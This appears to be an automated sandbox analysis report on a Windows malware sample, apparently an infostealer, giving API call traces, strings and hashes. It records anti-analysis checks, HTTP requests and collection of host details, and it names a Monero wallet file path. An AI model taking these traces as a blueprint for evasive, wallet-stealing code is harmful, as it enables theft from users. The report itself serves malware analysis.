GetProcAddress.KERNEL32(75900000,011FCE28), ref: 00B19E2C
GetProcAddress.KERNEL32(75900000,011FCEA0), ref: 00B19E44
GetProcAddress.KERNEL32(75900000,011E62E0), ref: 00B19E5D
GetProcAddress.KERNEL32(75900000,011FCE40), ref: 00B19E75
GetProcAddress.KERNEL32(75900000,011FCF90), ref: 00B19E8D
GetProcAddress.KERNEL32(75900000,011FCE88), ref: 00B19EA6
GetProcAddress.KERNEL32(75900000,011FCED0), ref: 00B19EBE
GetProcAddress.KERNEL32(75900000,011FCE58), ref: 00B19ED6
GetProcAddress.KERNEL32(75900000,011FCF18), ref: 00B19EEF
GetProcAddress.KERNEL32(75900000,011FCFA8), ref: 00B19F07
GetProcAddress.KERNEL32(75900000,011FC810), ref: 00B19F1F
GetProcAddress.KERNEL32(75900000,011FCAC8), ref: 00B19F38
GetProcAddress.KERNEL32(75900000,011F9F38), ref: 00B19F50
GetProcAddress.KERNEL32(75900000,011FC858), ref: 00B19F68
GetProcAddress.KERNEL32(75900000,011FCAE0), ref: 00B19F81
GetProcAddress.KERNEL32(75900000,011E6300), ref: 00B19F99
GetProcAddress.KERNEL32(75900000,011FC948), ref: 00B19FB1
GetProcAddress.KERNEL32(75900000,011E6360), ref: 00B19FCA
GetProcAddress.KERNEL32(75900000,011FC990), ref: 00B19FE2
GetProcAddress.KERNEL32(75900000,011FC930), ref: 00B19FFA
GetProcAddress.KERNEL32(75900000,011E63E0), ref: 00B1A013
GetProcAddress.KERNEL32(75900000,011E6460), ref: 00B1A02B
LoadLibraryA.KERNEL32(011FC960,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A03D
LoadLibraryA.KERNEL32(011FCA68,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A04E
LoadLibraryA.KERNEL32(011FC870,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A060
LoadLibraryA.KERNEL32(011FCA80,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A072
LoadLibraryA.KERNEL32(011FCA20,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A083
LoadLibraryA.KERNEL32(011FC9A8,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A095
LoadLibraryA.KERNEL32(011FC840,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A0A7
LoadLibraryA.KERNEL32(011FCAF8,?,00B15CA3,00B20AEB,?,?,?,?,?,?,?,?,?,?,00B20AEA,00B20AE3), ref: 00B1A0B8
GetProcAddress.KERNEL32(75FD0000,011E6A20), ref: 00B1A0DA
GetProcAddress.KERNEL32(75FD0000,011FC978), ref: 00B1A0F2
GetProcAddress.KERNEL32(75FD0000,011F8940), ref: 00B1A10A
GetProcAddress.KERNEL32(75FD0000,011FC9C0), ref: 00B1A123
GetProcAddress.KERNEL32(75FD0000,011E68A0), ref: 00B1A13B
GetProcAddress.KERNEL32(734B0000,011EB1D0), ref: 00B1A160
GetProcAddress.KERNEL32(734B0000,011E6780), ref: 00B1A179
GetProcAddress.KERNEL32(734B0000,011EB220), ref: 00B1A191
GetProcAddress.KERNEL32(734B0000,011FC888), ref: 00B1A1A9
GetProcAddress.KERNEL32(734B0000,011FCA98), ref: 00B1A1C2
GetProcAddress.KERNEL32(734B0000,011E6940), ref: 00B1A1DA
GetProcAddress.KERNEL32(734B0000,011E6860), ref: 00B1A1F2
GetProcAddress.KERNEL32(734B0000,011FCA50), ref: 00B1A20B
GetProcAddress.KERNEL32(763B0000,011E67E0), ref: 00B1A22C
GetProcAddress.KERNEL32(763B0000,011E67A0), ref: 00B1A244
GetProcAddress.KERNEL32(763B0000,011FC8A0), ref: 00B1A25D
GetProcAddress.KERNEL32(763B0000,011FC828), ref: 00B1A275
GetProcAddress.KERNEL32(763B0000,011E6800), ref: 00B1A28D
GetProcAddress.KERNEL32(750F0000,011EB018), ref: 00B1A2B3
GetProcAddress.KERNEL32(750F0000,011EB040), ref: 00B1A2CB
GetProcAddress.KERNEL32(750F0000,011FC8B8), ref: 00B1A2E3
GetProcAddress.KERNEL32(750F0000,011E6900), ref: 00B1A2FC
GetProcAddress.KERNEL32(750F0000,011E6A00), ref: 00B1A314
GetProcAddress.KERNEL32(750F0000,011EB1A8), ref: 00B1A32C
GetProcAddress.KERNEL32(75A50000,011FC9D8), ref: 00B1A352
GetProcAddress.KERNEL32(75A50000,011E68C0), ref: 00B1A36A
GetProcAddress.KERNEL32(75A50000,011F8840), ref: 00B1A382
GetProcAddress.KERNEL32(75A50000,011FCAB0), ref: 00B1A39B
GetProcAddress.KERNEL32(75A50000,011FC8D0), ref: 00B1A3B3
GetProcAddress.KERNEL32(75A50000,011E67C0), ref: 00B1A3CB
GetProcAddress.KERNEL32(75A50000,011E69A0), ref: 00B1A3E4
GetProcAddress.KERNEL32(75A50000,011FCA38), ref: 00B1A3FC
GetProcAddress.KERNEL32(75A50000,011FC9F0), ref: 00B1A414
GetProcAddress.KERNEL32(75070000,011E6960), ref: 00B1A436
GetProcAddress.KERNEL32(75070000,011FC8E8), ref: 00B1A44E
GetProcAddress.KERNEL32(75070000,011FCA08), ref: 00B1A466
GetProcAddress.KERNEL32(75070000,011FC900), ref: 00B1A47F
GetProcAddress.KERNEL32(75070000,011FC918), ref: 00B1A497
GetProcAddress.KERNEL32(74E50000,011E6880), ref: 00B1A4B8
GetProcAddress.KERNEL32(74E50000,011E6980), ref: 00B1A4D1
GetProcAddress.KERNEL32(75320000,011E69C0), ref: 00B1A4F2
GetProcAddress.KERNEL32(75320000,011FCC30), ref: 00B1A50A
GetProcAddress.KERNEL32(6F060000,011E6820), ref: 00B1A530
GetProcAddress.KERNEL32(6F060000,011E69E0), ref: 00B1A548
GetProcAddress.KERNEL32(6F060000,011E66C0), ref: 00B1A560
GetProcAddress.KERNEL32(6F060000,011FCD80), ref: 00B1A579
GetProcAddress.KERNEL32(6F060000,011E6680), ref: 00B1A591
GetProcAddress.KERNEL32(6F060000,011E6720), ref: 00B1A5A9
GetProcAddress.KERNEL32(6F060000,011E6920), ref: 00B1A5C2
GetProcAddress.KERNEL32(6F060000,011E68E0), ref: 00B1A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00B1A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00B1A607
GetProcAddress.KERNEL32(74E00000,011FCB70), ref: 00B1A629
GetProcAddress.KERNEL32(74E00000,011F8800), ref: 00B1A641
GetProcAddress.KERNEL32(74E00000,011FCBD0), ref: 00B1A659
GetProcAddress.KERNEL32(74E00000,011FCD08), ref: 00B1A672
GetProcAddress.KERNEL32(74DF0000,011E66A0), ref: 00B1A693
GetProcAddress.KERNEL32(6E320000,011FCC48), ref: 00B1A6B4
GetProcAddress.KERNEL32(6E320000,011E66E0), ref: 00B1A6CD
GetProcAddress.KERNEL32(6E320000,011FCC00), ref: 00B1A6E5
GetProcAddress.KERNEL32(6E320000,011FCCA8), ref: 00B1A6FD

Strings

InternetSetOptionA, xrefs: 00B1A5E5
HttpQueryInfoA, xrefs: 00B1A5FC

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: a7cfa14fcb32385896d9d1432287fb87609fd0ef3789fdbe5aaba98e47d3765e
Instruction ID: 917570dc8effb4642cf385c79d7b9d4d4797e15dcdac6720543ad1796c3ff2e9
Opcode Fuzzy Hash: a7cfa14fcb32385896d9d1432287fb87609fd0ef3789fdbe5aaba98e47d3765e
Instruction Fuzzy Hash: 0B62FABD5C0340AFD364DFACED889663BF9F78E601714851AA609C3364D639A841DF72

Function 00B06280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B04839
Part of subcall function 00B047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B04849

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

InternetOpenA.WININET(00B20DFE,00000001,00000000,00000000,00000000), ref: 00B062E1
StrCmpCA.SHLWAPI(?,011FE3D0), ref: 00B06303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B06335
HttpOpenRequestA.WININET(00000000,GET,?,011FDD60,00000000,00000000,00400100,00000000), ref: 00B06385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00B063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B0646D
InternetCloseHandle.WININET(00000000), ref: 00B064EF
InternetCloseHandle.WININET(00000000), ref: 00B064F9
InternetCloseHandle.WININET(00000000), ref: 00B06503

Strings

GET, xrefs: 00B0637C
ERROR, xrefs: 00B06407
ERROR, xrefs: 00B064C9

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 20a9763d8c933cb83f1de115ae25f439c531fe716da7e23d3a82b59b9ac23ba1
Instruction ID: d75327ac7681e7151592fc51255ad8071965ebca71fdc33afb02ed217ee3afb3
Opcode Fuzzy Hash: 20a9763d8c933cb83f1de115ae25f439c531fe716da7e23d3a82b59b9ac23ba1
Instruction Fuzzy Hash: 9D716F75A40318ABDB24DFA4DC49BEE7BB8FB44700F508198F109AB2D0DBB46A85CF51

Function 00B15510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B1A820: lstrlen.KERNEL32(00B04F05,?,?,00B04F05,00B20DDE), ref: 00B1A82B
Part of subcall function 00B1A820: lstrcpy.KERNEL32(00B20DDE,00000000), ref: 00B1A885

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B15644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B15857

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B15228

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B15318
Part of subcall function 00B152C0: lstrlen.KERNEL32(00000000), ref: 00B1532F
Part of subcall function 00B152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00B15364
Part of subcall function 00B152C0: lstrlen.KERNEL32(00000000), ref: 00B15383
Part of subcall function 00B152C0: lstrlen.KERNEL32(00000000), ref: 00B153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B1578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B15940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B15A0C
Sleep.KERNEL32(0000EA60), ref: 00B15A1B

Strings

ERROR, xrefs: 00B15693
ERROR, xrefs: 00B15849
ERROR, xrefs: 00B15932
ERROR, xrefs: 00B159FE
ERROR, xrefs: 00B15636
ERROR, xrefs: 00B1577D

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: e145fed494c38ab1ca6124a4a57ca77c223de945a7c8ad2b8c4fc2b5a81b3648
Instruction ID: f3514a7f82e24bdf7b5c46a32c3ee4c2d96d43cf07396005a42bc9c9ee044cd7
Opcode Fuzzy Hash: e145fed494c38ab1ca6124a4a57ca77c223de945a7c8ad2b8c4fc2b5a81b3648
Instruction Fuzzy Hash: 56E153719112049BCB14FBA4DD92DED73BCAF54310FD085A8B406A6191EF347F8ACBA2

Function 00B117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00B117C5
ExitProcess.KERNEL32 ref: 00B117D1

Strings

block, xrefs: 00B117B7

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: ba284369763f5c8e7f170a0e9f5834a4d38f0a9a7f8153219f0de7d4e255e722
Instruction ID: 2c2bd892d5b6fc3055c215ca5292b5b0e6ba461ed0be6712b74c705427aa6054
Opcode Fuzzy Hash: ba284369763f5c8e7f170a0e9f5834a4d38f0a9a7f8153219f0de7d4e255e722
Instruction Fuzzy Hash: 6B516CB4A10209EBCB04DFA8D994AFE77F5FF44344F508898E916A7351D770E982CB62

Function 00B17500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B17542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B1757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B17603
RtlAllocateHeap.NTDLL(00000000), ref: 00B1760A
wsprintfA.USER32 ref: 00B17640

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Strings

C, xrefs: 00B1754C
\, xrefs: 00B17560
:, xrefs: 00B1755C

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 800687fbc9d0446a5cdf75ece57a1115e08710028bf2737f1b8174c257e028bd
Instruction ID: 7fb4c7de2a6060303b86d462446f5d802ded93d90a0a5a5ebb08b74a670f403d
Opcode Fuzzy Hash: 800687fbc9d0446a5cdf75ece57a1115e08710028bf2737f1b8174c257e028bd
Instruction Fuzzy Hash: ED4182B5D44358ABDB10DF98DC85BEEBBB8EF18700F100199F509A7280DB746A84CBA5

Function 00B169F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F06C0), ref: 00B198A1
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F0708), ref: 00B198BA
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F0720), ref: 00B198D2
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F07F8), ref: 00B198EA
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F0558), ref: 00B19903
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F8950), ref: 00B1991B
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011E6580), ref: 00B19933
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011E65A0), ref: 00B1994C
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F0570), ref: 00B19964
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F0588), ref: 00B1997C
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F05A0), ref: 00B19995
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F05B8), ref: 00B199AD
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011E6500), ref: 00B199C5
Part of subcall function 00B19860: GetProcAddress.KERNEL32(75900000,011F05D0), ref: 00B199DE

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B011D0: ExitProcess.KERNEL32 ref: 00B01211

Part of subcall function 00B01160: GetSystemInfo.KERNEL32(?), ref: 00B0116A
Part of subcall function 00B01160: ExitProcess.KERNEL32 ref: 00B0117E

Part of subcall function 00B01110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B0112B
Part of subcall function 00B01110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00B01132
Part of subcall function 00B01110: ExitProcess.KERNEL32 ref: 00B01143

Part of subcall function 00B01220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B0123E
Part of subcall function 00B01220: __aulldiv.LIBCMT ref: 00B01258
Part of subcall function 00B01220: __aulldiv.LIBCMT ref: 00B01266
Part of subcall function 00B01220: ExitProcess.KERNEL32 ref: 00B01294

Part of subcall function 00B16770: GetUserDefaultLangID.KERNEL32 ref: 00B16774

Part of subcall function 00B01190: ExitProcess.KERNEL32 ref: 00B011C6

Part of subcall function 00B17850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B011B7), ref: 00B17880
Part of subcall function 00B17850: RtlAllocateHeap.NTDLL(00000000), ref: 00B17887
Part of subcall function 00B17850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B1789F

Part of subcall function 00B178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B17910
Part of subcall function 00B178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B17917
Part of subcall function 00B178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B1792F

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011F8910,?,00B2110C,?,00000000,?,00B21110,?,00000000,00B20AEF), ref: 00B16ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B16AE8
CloseHandle.KERNEL32(00000000), ref: 00B16AF9
Sleep.KERNEL32(00001770), ref: 00B16B04
CloseHandle.KERNEL32(?,00000000,?,011F8910,?,00B2110C,?,00000000,?,00B21110,?,00000000,00B20AEF), ref: 00B16B1A
ExitProcess.KERNEL32 ref: 00B16B22

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: b347cc711a87abe8383581933181c2b46d41547f5d5cdfe6c73abb95989531d7
Instruction ID: 956be6ae0f48c9bfa05f283d71591c456d567ef4fe0235bd8b5aaa182253750c
Opcode Fuzzy Hash: b347cc711a87abe8383581933181c2b46d41547f5d5cdfe6c73abb95989531d7
Instruction Fuzzy Hash: 74311C71941208ABDB08FBF4DC56BEE77F8AF14350F904598F202B21D2DF706986C6A2

Function 00B01220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

